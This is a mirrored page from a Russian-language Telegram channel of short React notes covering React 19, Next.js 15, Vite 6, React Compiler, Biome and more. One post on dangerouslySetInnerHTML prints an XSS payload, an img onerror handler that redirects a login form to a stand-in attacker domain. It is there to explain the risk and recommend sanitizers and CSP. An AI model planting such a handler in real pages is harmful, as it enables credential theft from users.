TGViewer
Channel Public Channel
Заметки про React

Заметки про React

@ru_react_notes

Короткие заметки про React.js, TypeScript и все что с ним связано
Subscribers
3.44K
Photos
34
Videos
8
Links
485

Showing posts older than #513 · Back to latest

Older Posts 20 shown
Post #512 3.05K
Как бандлеры работают с React Server Components

Мейнтенер RSPack написал подробную статью о том, как бандлеры Webpack и Turbopack работают с React Server Components и серверными действиями. Хоть и для RSC есть описание функционала в документе RFC, но информация об интеграциях (с бандлерами, с роутером и т.д.) в нем описана относительно просто. Поэтому автор решил написал статью о том, как происходит интеграция RSC с бандлерами на примере Webpack и Turbopack.

⭐️ Как устроен бандлинг клиентского компонента в серверных компонентах

В процессе бандлинга клиентского компонента "use client" в окружение сервера заменится ссылкой на компонент:


// src/ClientComp.js
"use client"
export function ClientComp() { return <div>...</div> }


Будет заменен на:


import { createClientReference } from "plugin/runtime/server.js"
export let ClientComp = createClientReference("src/ClientComp.js#ClientComp")


Когда сервер рендерит серверный компонент, импортированный клиентский компонент будет являться фактически ссылкой на клиентский компонент.


import { ClientComp } from "./ClientComp"
export async function App() { return <div><ClientComp /></div> }


Сериализованный JSX кода выше:


0:"$L1"
// Результат рендеринга Client Reference, включая некоторые метаданные
2:I{"id":"./src/ClientComp.js","chunks":["client0"],"name":"ClientComp","async":false}
1:["$","div",null,{"children":["$","$L2",null,{}]}]


При отправке клиенту (включая SSR) для рендеринга результата работы серверного компонента (сериализованный JSX), при встрече с клиентской ссылкой, клиентский модуль с компонентом будет загружен через эти метаданные. Сначала React загрузит чанки по __webpack_chunk_load__(chunkId), затем запустит соответствующий модуль по __webpack_require__(moduleId), и, наконец, получит экспортированный клиентский компонент для рендеринга.

https://github.com/orgs/web-infra-dev/discussions/23
GitHub RSC and Server Action bundle practice · web-infra-dev · Discussion #23 This article introduces the bundle practices of RSC (React Server Components) and Server Action in React, including their concepts, how it rendered, how it bundled in webpack, and how Turbopack bun...
  • 👍 16
  • 🔥 4
  • ❤ 1
Post #511 3.06K
В React добавили компонент <ViewTransition>

Появился PR с добавлением View Transition API в виде компонента <ViewTransition>. View Transition API предназначен для создания анимации плавного перехода между страницами или состояниями приложения.

В React <ViewTransition> будет активироваться только для асинхронных обновлений, таких как startTransition, useDeferredValue, Actions или <Suspense>. Концептуально компонент <ViewTransition> похож на React Fragment, который делает переход для дочерних элементов. Пример:


<ViewTransition>{condition ? <ComponentA /> : <ComponentB />}</ViewTransition>


Новый компонент умеет работать с Suspense. Пример который триггерит exit у Skeleton и enter у Content:

<Suspense fallback={<ViewTransition><Skeleton /></ViewTransition>}>
<ViewTransition><Content /></ViewTransition>
</Suspense>


Новое API будет работать не только в вебе, но и в React Native.

https://github.com/facebook/react/pull/31975
GitHub Add `<ViewTransition>` Component by sebmarkbage · Pull Request #31975 · facebook/react This will provide the opt-in for using View Transitions in React. View Transitions only trigger for async updates like startTransition, useDeferredValue, Actions or <Suspense> reveali...
  • 👍 31
  • 🔥 4
Post #510 3.68K
Вам не нужен Next.js

Автор мигрировал админку с Next.js на обычный React и TanStack Router с Rspack и сократил время сборки проекта с 3 минут до 18 секунд, а Hot reload стал меньше 200мс.

По началу автору нравилось использование Next.js и все было хорошо, пока не начались неприятности:

🔴 Высокая стоимость за использование Serverless функций.
🔴 Сложное тестирование API из-за того серверные действия были смешаны с API Routes.
🔴 Постепенное увеличение времени сборки, который доходил до 7 минут.
🔴 Утяжеление локальной разработки – каждое малейшее изменение приводило к полной перезагрузке SSR.

Каждое техническое решение требует компромиссов. Что потеряли при уходе с Next.js:

🔴 Совместная разработка фронтенда и бэкенда. Теперь приходится разделять код фронта и бэкенда.
🔴 Встроенная Next.js фича кэширования запросов.
🔴 Пре-рендер и быстрая первичная загрузка страница. Нет автоматической генерации статики. Теперь требуется более продуманное разделение кода для сохранения скорости загрузки страницы.
🔴 Серверные компоненты и действия. Это удобный для разработки подход, с помощью которого можно быстро организовать API.

https://www.comfydeploy.com/blog/you-dont-need-nextjs
Comfydeploy You don't need Next JS - Comfy Deploy The best platform to run and deploy ComfyUI to your teams
  • 👍 23
  • 👎 6
  • ❤ 2
Post #509 3.91K
Base UI

Вышла альфа-версия UI библиотеки Base UI от авторов Radix, MUI и Floating UI. Библиотека представляет из себя набор нестилизованных React компонентов для создания доступных интерфейсов. В библиотеке уделено особое внимание доступности, производительности и удобству разработчика.

Каждый компонент собирается из частей. Пример компонента Popover:


import * as React from 'react';
import { Popover } from '@base-ui-components/react/popover';
import styles from './index.module.css';

export default function ExamplePopover() {
return (
<Popover.Root>
<Popover.Trigger className={styles.IconButton}>
<BellIcon aria-label="Notifications" className={styles.Icon} />
</Popover.Trigger>
<Popover.Portal>
<Popover.Positioner sideOffset={8}>
<Popover.Popup className={styles.Popup}>
<Popover.Arrow className={styles.Arrow}>
<ArrowSvg />
</Popover.Arrow>
<Popover.Title className={styles.Title}>Notifications</Popover.Title>
<Popover.Description className={styles.Description}>
You are all caught up. Good job!
</Popover.Description>
</Popover.Popup>
</Popover.Positioner>
</Popover.Portal>
</Popover.Root>
);
}


Для стилизации можно использовать что угодно, здесь для примера используется CSS Modules.

https://base-ui.com/react/overview/quick-start
Base-Ui Quick start · Base UI A quick guide to getting started with Base UI.
  • 👍 17
Post #508 3.55K
Как React Compiler работает с реальным кодом

В своем блоге Надя Макаревич изучила влияние React Compiler на начальную загрузку и производительность реального приложения.

В итоге оказалось, что React Compiler как минимум не ухудшает, но чаще улучшает начальную загрузку и производительность приложения. Однако компилятор не обрабатывает все случаи ре-рендера, поэтому если хотите лучшую производительность, то полагаться на работу только React Compiler не получится. Придется некоторые кейсы оптимизировать самостоятельно. В целом React Compiler оптимизирует приложение достаточно хорошо.

Один из примеров, которые потребовал самостоятельной оптимизации. На странице рендерился список карточек:


// somewhere before
const GalleryCardMemo = React.memo(GalleryCardMemo);

// somewhere in render function
{data?.data?.map((example) => {
return (
<GalleryCardMemo
href={`/examples/code-examples/${example.key}`}
key={example.key}
title={example.name}
preview={example.previewUrl}
/>
);
})}


Объект data приходил из запроса React Query, а проп preview был объектом. Когда в запросе React Query изменялся набор параметров, то возвращался другой объект data. Даже если объекты карточек внутри массива одинаковые, то все равно происходит ре-рендер компонента GalleryCardMemo из-за того, что проп preview объект. Чтобы решить проблему, надо проп preview разделить на несколько пропов-примитивов. Например:


{data?.data?.map((example) => {
return (
<GalleryCardMemo
href={`/examples/code-examples/${example.key}`}
key={example.key}
title={example.name}
// pass primitives values instead of the entire object
previewLight={example.previewUrl.light}
previewDark={example.previewUrl.dark}
/>
);
})}


https://www.developerway.com/posts/how-react-compiler-performs-on-real-code
Developer Way How React Compiler Performs on Real Code Exploring the impact of React Compiler on initial load and interaction performance. With numbers. Measured on a real app.
  • 👍 9
  • 👎 1
Post #507 3.33K
SSR — это не дорого

Все чаще можно увидеть сообщения о том, что SSR это дорого и не нужно. В своем блоге Тео Браун заявляет, наоборот, что SSR — это не дорого. О чем он пишет:

🔴 Накладные расходы на SSR минимальны.
Отрендерить JSON в HTML относительно несложная задача, которая чаще всего может занять менее 20 мс. Основное время может уйти на запросы в базу данных и проверку аутентификации. Если данные не защищены аутентификацией, то их можно закэшировать и положить в CDN.

🔴 SSR может сократить другие расходы на облаке
Представьте SPA приложение, в котором при инициализации несколько компонентов делают запросы в API. В каждом запросе происходит создание TCP соединения, проверка аутентификации, парсинг HTTP заголовков, подключение к базе данных. Эти накладные расходы суммируются, как с точки зрения производительности, так и с точки зрения стоимости.

🔴 SSR предоставляет лучший UX.
SSR не только улучшает SEO, но и дает другие преимущества:

- Метаданные для роутов: лучше UX для сохранения в закладки и передачу ссылок в соц. сетях.
- Сплит бандла по роутам: уменьшение размера страницы при загрузке.
- Загрузка страницы с данными, вместо белого экрана.

https://t3.gg/blog/post/ssr-is-not-expensive
t3.gg Debunking the Myth: SSR Isn't Expensive SSR is not expensive. It's actually a great way to save money and improve the user experience.
  • 👎 23
  • 👍 3
Post #506 3.49K
Biome – быстрый форматтер и линтер

Biome – тулчейн для фронтенда, который умеет форматировать как Prettier, но в 35 раз быстрее. Кроме форматирования, есть производительный линтинг, поддерживающий более 300 правил ESLint, TypeScript ESLint и других. Линтинг в 15 раз быстрее чем ESLint (без плагинов). Можно выполнить форматирование и линтинг одной командой:


npx @biomejs/biome check --write ./src


Biome можно установить как отдельный бинарник и запускать без Node.js. Это может значительно ускорить проверки в CI.

У Biome свой файл конфигурации для настроек линтинга и форматирования. Есть команда для миграции с Prettier и ESLint, например:


biome migrate eslint –write
biome migrate prettier –write


Пример конфига:

{
"$schema": "https://biomejs.dev/schemas/1.9.4/schema.json",
"css": {
"linter": {
"enabled": true
}
},
"files": {
"ignore": [
"dist/**",
],
"include": [
"src/**"
]
},
"formatter": {
"ignore": [
"configuration_schema.json"
]
},
"json": {
"formatter": {
"indentStyle": "space",
"lineWidth": 1
}
},
"linter": {
"enabled": true,
"rules": {
"recommended": true,
"style": {
"noNonNullAssertion": "off"
}
}
},
"organizeImports": {
"enabled": true
}
}


https://biomejs.dev/
Biome Format, lint, and more in a fraction of a second.
  • 👍 27
  • 🔥 15
  • ❤ 1
Post #505 3.84K
Релиз React 19

Вышла стабильная версия React 19. Что появилось нового:

⭐️ Actions
В React одним из основных кейсов использования является выполнение мутаций и обновление стейта в ответ. В React 19 добавили поддержку использования асинхронных функций в переходах для автоматической обработки стейта pending, ошибок, форм и оптимистичных обновлений.
По соглашению функции, использующие асинхронные переходы, называются «Actions». Новые хуки, которые относятся к «Actions»:

🔴 useActionState – новый хук для основных кейсов с «Actions». В Canary версии назывался useFormState. Принимает функцию «Action» и возвращает «Action» для композиции.


const [error, submitAction, isPending] = useActionState(
async (previousState, newName) => {
const error = await updateName(newName);
if (error) {
return error;
}

return null;
},
null,
);


Возвращаемую функцию можно использовать как action в формах:


<form action={submitAction}>


🔴 useFormStatus – хук для отслеживания стейта форма. Используется в дочерних компонентах формы. Заменяет проп-дриллинг и контекст. Хук читает стейт родительской формы:


import {useFormStatus} from 'react-dom';

function DesignButton() {
const {pending} = useFormStatus();
return <button type="submit" disabled={pending} />
}


🔴 useOptimistic – хук для оптимистического отображения финального состояния запроса.

🔴 use – хук для чтения ресурсов. Например, можно читать Promise и React вызовет Suspend пока промис не зарезолвится. Также можно читать значение контекста:


import {use} from 'react';

function Comments({commentsPromise}) {
const comments = use(commentsPromise);
return comments.map(comment => <p key={comment.id}>{comment}</p>);
}


⭐️ Новые функции prerender и prerenderToNodeStream для генерации статики. Они предназначены для стриминга ответа через Node.js Streams и Web Streams. Пример:


import { prerender } from 'react-dom/static';

async function handler(request) {
const {prelude} = await prerender(<App />, {
bootstrapScripts: ['/main.js']
});
return new Response(prelude, {
headers: { 'content-type': 'text/html' },
});
}


⭐️ React Server Components. В React 19 включены все фичи серверных компонентов из Canary релиза, также есть Server Actions.

Улучшения в React 19:

⭐️ ref как проп. Больше не надо использовать forwardRef для прокидывания рефа:


function MyInput({placeholder, ref}) {
return <input placeholder={placeholder} ref={ref} />
}

<MyInput ref={ref} />


⭐️ ref колбек может вернуть функцию очистки, которая вызовется когда элемент будет удален из DOM:


<input
ref={(ref) => {
return () => {
// очистка
};
}}
/>


⭐️ Улучшенный отчет по ошибкам, например если произошла ошибка гидратации, то показывается дифф несоответствия.

⭐️ В React 19 можно использовать <Context> как провайдер вместо <Context.Provider>.

⭐️ Поддержка мета-тегов и тега style. Если добавить в компонент мета-теги или тег style, то React самостоятельно расположит их внутри head:


function BlogPost({post}) {
return (
<article>
<h1>{post.title}</h1>
<title>{post.title}</title>
<meta name="author" content="Josh" />
<link rel="author" href="https://twitter.com/joshcstory/" />
<link rel="stylesheet" href="foo" precedence="default" />
<meta name="keywords" content={post.keywords} />
</article>
);
}


Это будет работать и с серверным рендерингом.

⭐️ Появилась возможность указать браузеру о необходимости предзагрузки ресурсов через функции preload, preinit, prefetchDNS, preconnect. Эти вызовы функции преобразуются в соответствующие теги предзагрузки link в head.

https://react.dev/blog/2024/12/05/react-19
  • 👍 26
  • 🔥 9
  • ❤ 5
  • 👎 3
Post #504 3.24K
Как работает React Island

React Island – это подход внедрения React компонентов и даже целых приложений в статическую HTML страницу. Этот подход можно использовать для постепенного рефакторинга статического сайта или, если вы хотите добавить небольшую интерактивную часть на сайт, оставить все остальное как есть статическим.

Как это работает:

1) Рендерите HTML любым способом
2) Добавляете корневой div в HTML для React
3) Вызываете функцию
4) Рендерите небольшое React приложение в добавленный div элемент

React Island подойдет если у вас есть сайт, который рендерится статически через шаблонизатор. Автор предлагает не переписывать все сразу на React, т.к. на это может уйти много времени, а вместо этого делать постепенный рефакторинг. Либо оставить все как есть и добавлять небольшую интерактивность частями.

Для реализации подхода надо создать React компоненты и объявить в window поле для вызова функции рендера:


const ReactIslands = {
amazingNewFeature: function amazingNewFeature(
element: HTMLDivElement,
props: AmazingNewFeatureProps
) {
createRoot(element).render(
<App>
<AmazingNewFeature {...props} />
</App>
);
},
};

window.ReactIslands = ReactIslands;


Через Vite нужно собрать файл reactIslands.js и добавить код в файл шаблонизатора рендера HTML страницы:


<script
type="module"
src="{{ url_for('static', filename='reactIslands.js') }}"
></script>
<script>
$(document).ready(function () {
window.ReactIslands.amazingNewFeature(
document.getElementById('amazing-new-feature'),
{
prop1: {{ value_from_server | tojson }},
prop2: {{ value_from_server | tojson }},
})
})
</script>
<div id="amazing-new-feature"></div>


Как видите из примера выше, здесь используется jQuery и шаблонизатор Jinja. Начальные пропсы в React передаются с помощью шаблонизатора.

https://swizec.com/blog/the-anatomy-of-a-react-island/
Swizec The anatomy of a React Island | Swizec Teller A coworker asked how React Islands work and I realized it's a technique I've been using to modernize monolithic web codebases for years, but never wrote down how it works.
  • 👍 12
  • 🔥 4
  • 👎 1
Post #503 3.53K
Релиз Vite 6

Вышел релиз Vite 6 – самое значительное обновление после Vite 2. В новой версии появилось экспериментальное Environment API. Это новое API в основном предназначено для авторов фреймворков. С его помощью можно предлагать разрабатывать локально приложения в условиях приближенных к продакшену. Если вы разрабатываете SPA приложение, то для вас ничего не поменяется. Даже если вы разрабатываете SSR приложение, то Vite 6 имеет обратную совместимость. Основная целевая аудитория Environment API — авторы фреймворков.

Из других изменений – расширение HTML элементов, которые могут ссылаться на asset для обработки и бандлинга в Vite. Например, <audio src>, <video src> и другие.

Для большинства проектов обновление до 6ой версии не должно вызвать затруднений.

https://vite.dev/blog/announcing-vite6.html
  • 👍 19
  • ❤ 1
Post #502 3.77K
Релиз React Router v7

Вышел релиз React Router v7. В новой версии можно использовать React Router в двух вариантах: как полноценный фулстек фреймворк (типа Remix) через Vite или как раньше, как библиотеку для роутинга. Также в новой версии появилась поддержка SSG, улучшилась настройка роутинга через конфиг и улучшена типизация. Поддержка RSC будет позже, когда React 19 и Vite Environment API будут готовы.

При апгрейде на 7 версию нет критических изменений, если уже на 6ой версии включили флаги 7ой версии. Эти флаги позволяют обновить приложение на 7ую версию по шагам. В 7ой версии пакет с названием react-router-dom больше не нужен, вместо него используйте пакет с названием react-router.

Пример файла роутера при использовании React Router как фреймворк:

 
// app/routes.ts
import {
type RouteConfig,
route,
} from "@react-router/dev/routes";

export default [
route("teams/:teamId", "./team.tsx"),
// паттерн ^ ^ файл модуля
] satisfies RouteConfig;


Пример файла модуля:

 
// provides type safety/inference
import type { Route } from "./+types/team";

// provides `loaderData` to the component
export async function loader({ params }: Route.LoaderArgs) {
let team = await fetchTeam(params.teamId);
return { name: team.name };
}

// renders after the loader is done
export default function Component({
loaderData,
}: Route.ComponentProps) {
return <h1>{loaderData.name}</h1>;
}


В файле модуля можно экспортировать функции:
- loader – для предзагрузки данных на сервере.
- clientLoader – для предзагрузки данных на клиенте.
- action – вызывается на сервере при отправке формы, useSubmit или useFetcher.
- clientAction – такой же как action, но вызывается на клиенте.
- headers – для установки HTTP заголовков ответа.

А также handle, links, meta, shouldRevalidate.

https://reactrouter.com/
  • 👍 13
  • 👎 3
Post #501 3.8K
Сохраняйте один уровень абстракции для каждой функции

Представьте компонент, который показывает информацию о текущем пользователе и статус активен ли пользователь в данный момент. Пример такого компонента:


import { useState, useEffect } from "react";

function UserProfile({ userId }) {
const [user, setUser] = useState(null);

useEffect(() => {
fetch(`https://api.example.com/users/${userId}`)
.then(response => response.json())
.then(data => {
const isActive = data.accountStatus === "active" &&
new Date(data.lastLogin) >= new Date(Date.now() - 30 * 24 * 60 * 60 * 1000);

setUser({
name: `${data.firstName} ${data.lastName}`,
email: data.email,
isActive,
});
});
}, [userId]);

if (!user) {
return <p>Loading...</p>;
}

return (
<div>
{user.name} is {user.isActive ? "active" : "inactive"}
</div>
);
}


Это довольно распространенный пример компонента на React. Он не сложный, но в нем есть одна проблема: смешение разных уровней абстракций.

Когда вы пишите код, то смешение разных уровней абстракций в пределах одной функции часто приводит к путанице и затрудняет понимание. Более чистый подход заключается в том, чтобы поддерживать каждую функцию на своем уровне абстракции. На практике это означает, что более высокие функции не должны погружаться в детали, а должны использовать более мелкие функции, в которых скрыты детали.

Рассмотрим тот же компонент после рефакторинга:


import { useState, useEffect } from "react";

function UserProfile({ userId }) {
const [user, setUser] = useState(null);

useEffect(() => {
fetchUser(userId).then((data) => setUser(normalizeUser(data)));
}, [userId]);

if (!user) {
return <Loader />;
}

return <UserStatus user={user} />;
}


Обратите внимание, насколько легче стало его читать. Достаточно одного взгляда, чтобы разобраться что компонент делает.

https://www.tymzap.com/blog/the-magic-of-keeping-one-abstraction-level-per-function
Tymzap The magic of keeping one level of abstraction per function • Tymek Zapała I’m a software engineer and product maker based in Cracow, Poland. My mission is to create useful products by writing high-quality code and sharing my knowledge throughout the journey.
  • 👍 21
  • 👎 2
  • ❤ 1
Post #500 3.32K
Безопасное использование dangerouslySetInnerHTML

В своем блоге Алекс Макартур рассказал о безопасном использовании dangerouslySetInnerHTML. По умолчанию, dangerouslySetInnerHTML не даст запустить <script> внутри переданного HTML, т.к. основан на innerHTML, который запрещает это делать. Однако есть другая возможность выполнить JavaScript внутри dangerouslySetInnerHTML – через inline-обработчики события. Пример кода, который выполнится и может украсть личную информацию пользователя:


const App = () => {
return (
<div dangerouslySetInnerHTML={{ __html: `
<img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'">
`}}></div>
);
}


Если вы собираетесь сделать dangerouslySetInnerHTML полностью безопасным, то есть два варианта: Content Security Policy или HTML санитайзер. Пытаться сделать свой HTML санитайзер бесполезно, есть много разных способов выполнения JavaScript, о которых можно не знать, например через псевдопротокол javascript://. Лучше используйте популярные библиотеки DOMPurify или sanitize-html.

Если хотите быть уверены в безопасности dangerouslySetInnerHTML, то используйте Content Security Policy. Пример кода, который полностью запретит все inline-обработчики и javascript:// протокол:


Content-Security-Policy: "script-src 'self'";


https://macarthur.me/posts/safer-dangerouslysetinnerhtml/
Alex MacArthur TIL: inline event handlers still fire when passed to React's dangerouslySetInnerHTML Even though it won't run <script> tags, React's dangerouslySetInnerHTML still allows inline event handlers to execute. Here's how you might neutralize that threat.
  • 👍 22
  • ❤ 1
Post #499 3.44K
Управление стейтом в URL в Next.js App Router

В своей статье Аврора Шарфф на примере компонента фильтра показывает, что не так просто управлять стейтом в URL search params в Next.js App Router. Для того чтобы сразу показывать выбранные фильтры при изменении URL, необходимо использовать useTransition и useOptimistic. Иначе URL обновится только после окончания рендера страницы. Также автор рекомендует валидировать входящие данных из URL с помощью валидатора Zod.

Вместо изобретения собственного велосипеда можно использовать библиотеку nuqs – типобезопасный менеджер стейта в URL search params. У него есть встроенный валидатор, где можно объявить дефолтный стейт. Также он поддерживает Next.js и useTransition. Пример использования:


// searchParams.ts

import { parseAsString, createSearchParamsCache, parseAsArrayOf } from 'nuqs/server';

export const searchParams = {
category: parseAsArrayOf(parseAsString).withDefault([]),
q: parseAsString.withDefault(''),
};
export const searchParamsCache = createSearchParamsCache(searchParams);


// Search.tsx

export default function Search() {
const params = useParams();
const [isPending, startTransition] = useTransition();
const [q, setQ] = useQueryState(
'q',
searchParams.q.withOptions({
shallow: false,
startTransition,
}),
);

return (
<form>
<input
onChange={e => {
setQ(e.target.value);
}}
defaultValue={q}
type="search"
/>
<SearchStatus searching={isPending} />
</Form>
);
}


https://aurorascharff.no/posts/managing-advanced-search-param-filtering-next-app-router/
aurorascharff.no Managing Advanced Search Param Filtering in the Next.js App Router | Aurora Scharff Learn how to implement advanced search param filtering in the Next.js App Router, utilizing React 19 features like useOptimistic and the library nuqs.
  • 👎 7
  • 👍 5
Post #498 3.22K
Два пути к двум React

Интересные мысли о разном видении интеграции современных функций React в Next.js и TanStack Start.

✨ Next.js – одна из самых популярных библиотек для React. С App Router сервер стал основным местом для вычислений в приложении. Вся основная логика по рендеру перешла в серверные компоненты. Клиентские компоненты нужны только для интерактивности.
Когда сервер является основным в React приложении, то лучшим способом уменьшения вычислений и ускорения работы приложения является кэширование. Next.js поэтапно внедряла кэширование. Например, в бете App Router в Next.js 13 внедрила автоматическое кэширование fetch, потом поменяла поведение в Next.js 15 и внедрила директиву ”use cache”.

✨ TanStack Start – это вариант, когда надо внедрить серверные компоненты, но не хочется делать поворот на 180 градусов относительно того, как создают и структурируют приложение. TanStack Start добавляет поддержку серверных фич, таких как SSR и гидратация, стриминг, серверные функции и другие. Серверные компоненты пока не поддерживаются. Под капотом используется TanStack Router и vinxi. Вкратце, TanStack Router для клиентского роутинга, а TanStack Start для фулстек роутинга. Пример кода роутера:


// app/router.tsx
import { createRouter as createTanStackRouter } from '@tanstack/react-router'
import { routeTree } from './routeTree.gen' // Этот файл генерируется автоматически

export function createRouter() {
const router = createTanStackRouter({
routeTree,
})

return router
}

declare module '@tanstack/react-router' {
interface Register {
router: ReturnType<typeof createRouter>
}
}


Пример файла для запуска сервера:


// app/ssr.tsx
/// <reference types="vinxi/types/server" />
import {
createStartHandler,
defaultStreamHandler,
} from '@tanstack/start/server'
import { getRouterManifest } from '@tanstack/start/router-manifest'

import { createRouter } from './router'

export default createStartHandler({
createRouter,
getRouterManifest,
})(defaultStreamHandler)


Пример файла для гидратации на клиенте:


// app/client.tsx
/// <reference types="vinxi/types/client" />
import { hydrateRoot } from 'react-dom/client'
import { StartClient } from '@tanstack/start'
import { createRouter } from './router'

const router = createRouter()

const root = document.getElementById('root')
if (!root) {
throw new Error('Root element not found')
}

hydrateRoot(root, <StartClient router={router} />)


https://bobaekang.com/blog/two-ways-to-the-two-reacts/
Bobaekang Two ways to the two Reacts | bobae kang Next.js App Router and TanStack Start represent two distinct ways to the full-stack React
  • 👍 11
  • ❤ 1
  • 👎 1
  • 🔥 1
Post #497 3.05K
Бета релиз React Compiler

Вышел бета релиз React Compiler и ESLint плагина.


npm install -D babel-plugin-react-compiler@beta eslint-plugin-react-compiler@beta


Компилятор работает с 19 версией React, но можно запускать и с 17, 18, дополнительно установив react-compiler-runtime. Пример использования React Compiler в Vite:


// vite.config.js
const ReactCompilerConfig = { /* ... */ };

export default defineConfig(() => {
return {
plugins: [
react({
babel: {
plugins: [
["babel-plugin-react-compiler", ReactCompilerConfig],
],
},
}),
],
// ...
};
});


React Compiler можно запускать только на часть проекта, указав какие файлы обрабатывать:


const ReactCompilerConfig = {
sources: (filename) => {
return filename.indexOf('src/path/to/dir') !== -1;
},
};


Можно использовать ESLint плагин без использования компилятора. ESLint плагин позволяет разработчикам заблаговременно выявлять и исправлять нарушения правил React.


import reactCompiler from 'eslint-plugin-react-compiler'

export default [
{
plugins: {
'react-compiler': reactCompiler,
},
rules: {
'react-compiler/react-compiler': 'error',
},
},
]


https://react.dev/blog/2024/10/21/react-compiler-beta-release
react.dev React Compiler Beta Release – React The library for web and native user interfaces
  • 👍 18
  • 👎 2
  • ❤ 1
  • 🔥 1
Post #496 3.45K
useContextSelector – быстрый доступ к большому контексту

Если в вашем приложении используется большой контекст, то он может негативно влиять на производительность приложения. Каждое изменение контекста вызывает ре-рендер всех компонентов, которые зависят от контекста.

Чтобы уменьшить лишние ре-рендеры, можно мемоизировать компоненты:


import { memo } from 'react';

const Welcome = () => {
const { color } = useContext(ThemeContext);
return <WelcomeBody color={color} />
}

const WelcomeBody = memo(({ color }) => {
return <div style={{ color }}>Hello!</div>;
})


Еще один вариант оптимизации - разделить один большой контекст на несколько. У такого подхода есть минус: когда используется слишком много контекстов, с этим сложно работать.

Если вы не хотите использовать стейт-менеджеры, то при работе с контекстом можете использовать библиотеку use-context-selector. С ее помощью можно читать только часть объекта контекста и ре-рендерить, когда эта часть изменится.


import { createContext, useContextSelector } from 'use-context-selector';

const MyContext = createContext(null);

const Counter1 = () => {
const value = useContextSelector(MyContext, value => value.myValue);
…
}


https://marmelab.com/blog/2024/10/16/usecontextselector-a-faster-usecontext-for-react.html
Marmelab useContextSelector: Speeding Up React Apps With Large Context Tips and tricks to optimize the performance of your React app
  • 👍 10
  • 👎 9
  • ❤ 5
Post #495 3.84K
Релиз Next.js 15

Вышел релиз Next.js 15. Можно обновиться как вручную, так и автоматически, используя CLI. Коротко о новых фичах:

- Изменения в API асинхронных запросов. Такие функции как headers, cookies, params и searchParams стали асинхронными. Пример использования:


import { cookies } from 'next/headers';

export async function AdminPanel() {
const cookieStore = await cookies();
const token = cookieStore.get('token');

// ...
}


- fetch запросы, обработчики GET роутов и клиентская навигация не будут по умолчанию кэшироваться. Для fetch запросов появился дополнительный параметр cache: force-cache и no-store.
Параметр force-cache используется для получения данных из кэша, если есть данные, или производит запрос.
Параметр no-store всегда производит запрос.


fetch('https://...', { cache: 'force-cache' | 'no-store' });


- Используется React 19 RC для App Router. Осталась обратная поддержка React 18 для Pages Router. Добавлена поддержка React Compiler. Улучшена читаемость ошибок гидратации – показывается дифф сервер/клиент.

- Улучшения в Turbopack Dev: стал быстрее, стабильнее.

- Добавлен компонент Form с поддержкой прогрессивного улучшения. При сабмите будет происходить переход на страницу в action с параметрами.


import Form from 'next/form';

export default function Page() {
return (
<Form action="/search">
<input name="query" />
<button type="submit">Submit</button>
</Form>
);
}


- Поддержка TypeScript в файле конфига. Можно использовать файл next.config.ts.

https://nextjs.org/blog/next-15
nextjs.org Next.js 15 Next.js 15 introduces React 19 support, caching improvements, a stable release for Turbopack in development, new APIs, and more.
  • 🔥 15
  • 👍 9
Post #494 4.02K
Drag to Select

Интерактивный гайд с иллюстрациями о том, как реализовать выбор элементов в React. В гайде учтены разные функции, например скроллинг во время перетаскивания, отмена всего выбора через Escape и уменьшение количества выбранных элементов.

https://www.joshuawootonn.com/react-drag-to-select
  • 👍 36
  • 🔥 5
Post #493 3.81K
Environment API в Vite

В Vite 6 появится Environment API, которое позволит использовать Vite в разных окружениях. Это нужная фича для React. Например, это позволит для React с серверными компонентами создавать разный бандл для клиента, сервера и RSC – т.е. 3 разных бандла под каждое окружение.

Кроме этого, Environment API позволит запускать приложения не только на Node.js, но и в других средах выполнения, таких как Deno, Bun, Edge Runtime, а также создавать для этих сред выполнения бандл.

Новое API – это низкоуровневое API, которое предназначено для разработчиков библиотек, и не предполагается, что его будут использовать пользователи напрямую.

https://green.sapphi.red/blog/increasing-vites-potential-with-the-environment-api
green.sapphi.red Increasing Vite's potential with the Environment API sapphi-red's portfolio.
  • 👍 20
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →